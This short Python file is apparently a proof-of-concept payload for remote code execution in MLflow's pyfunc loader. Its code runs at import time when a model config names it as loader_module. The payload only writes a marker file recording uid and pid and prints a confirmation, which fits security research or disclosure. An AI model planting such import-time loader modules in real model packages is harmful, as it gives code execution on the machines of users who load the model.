| """Malicious loader module imported via pyfunc loader_module. | |
| importlib.import_module(conf["loader_module"]) → this module. | |
| Executes at import time. | |
| """ | |
| import os | |
| poc_marker = "/tmp/mlflow_pyfunc_rce_poc.txt" | |
| with open(poc_marker, "w") as f: | |
| f.write("MLFlow pyfunc RCE via loader_module\n") | |
| f.write(f"uid={os.getuid()}, pid={os.getpid()}\n") | |
| print(f"[!] PYFUNC RCE CONFIRMED: wrote {poc_marker}") | |
| def _load_pyfunc(data_path, model_config=None): | |
| return None | |